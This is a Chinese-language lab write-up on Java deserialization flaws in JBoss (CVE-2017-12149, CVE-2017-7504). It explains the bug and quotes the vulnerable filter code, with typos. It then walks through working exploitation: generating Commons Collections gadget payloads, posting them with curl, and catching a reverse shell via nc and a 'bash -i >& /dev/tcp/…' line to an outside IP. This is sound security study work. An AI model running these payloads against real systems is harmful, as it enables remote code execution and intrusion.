基础知识
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
形成漏洞的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。
原理
Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致攻击者恶意构造的代码的实现。
举个简单的例子,jboss的反序列化漏洞出现在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter中。
public void doFilter(ServletRequest request,ServletResponse response,FilterChain chain)
throw IOException,ServletException
{
HttpServletRequest httpRequest=(HttpServletRequest)request;
Principal user=httpRequest.getUserPrincipal();
if((user=null)&&(this.readOnlyContext!=null))
{
ServletInputStream sis=request.getInputStream();
ObjectInputStream ois=new ObjectInputStream(sis);
MarshalledInvocation mi=null;
try
{
mi=(MarshalledInvocation)ois.readObject();
}
catch(ClassNotFountException e)
{
throw new ServletException("Failed to read MarshalledInvocation",e);
}
request.serAttribute("MarshalledInvocation",mi);
mi.setMethodMap(this.namingMethodMap);
Method m=mi.getMethod();
if(m!=null){
validateAccess(m,mi)
}
}
chain.doFilter(request,response);
}
CVE-2017-12149
漏洞影响5.x和6.x版本的JBOSSAS。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
CVE-2017-7504
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
验证
可以使用检测工具检测
复现思路
1.云主机的内置vulhub8080端口搭建实验靶场
2. 加载攻击脚本,编译并生成序列化数据
3. 序列化恶意数据至文件,将该文件作为请求数据主体发送数据包
4.云主机开启端口监听反弹过来的shell
1.CVE-2017-12149利用路径是/invoker/readonly
2.CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet
3.CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet
复现-CVE-2017-12149
本文使用的脚本下载地址:
https://github.com/joaomatosf/JavaDeserH2HC
影响范围
JBoss 5.0.0~5.2.2
1、特征检测
端口扫描:
// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP
2、启动vulhub的jboss,访问http://your-IP:8080/
目录拼接: http://your-IP:8080/invoker/readonly
脚本下载地址:
https://github.com/joaomatosf/JavaDeserH2HC
编译并生成序列化数据:
// 执行下面命令会生成相应的.class文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
ser全称serialize,序列化恶意数据至文件:
// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.107.139:8888
将该文件作为请求数据主体发送数据包,–data-binary 意为以二进制的方式post数据:
// curl 这个二进制文件发送payload
curl http://192.168.107.142:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
监听端口:
// 开启监听端口
nc -lvnp 6666
成功反弹(注:这里出现connect to [X.X.X.X] from x.x.x.x 后就可以直接执行命令了)
复现-CVE-2017-7504
影响范围:JBoss AS 4.x及之前版本。
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
下载利用工具:http://scan.javasec.cn/java/JavaDeserH2HC.zip
1、启动vulhub的jboss,访问http://your-ip:8080/
2、进行文件编译
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
3、先开启nc监听5678端口
4、java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap “bash -i >& /dev/tcp/150.158.193.92/5678 0>&1”
5、curl提交POC
curl http://150.158.193.92:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
6、反弹成功!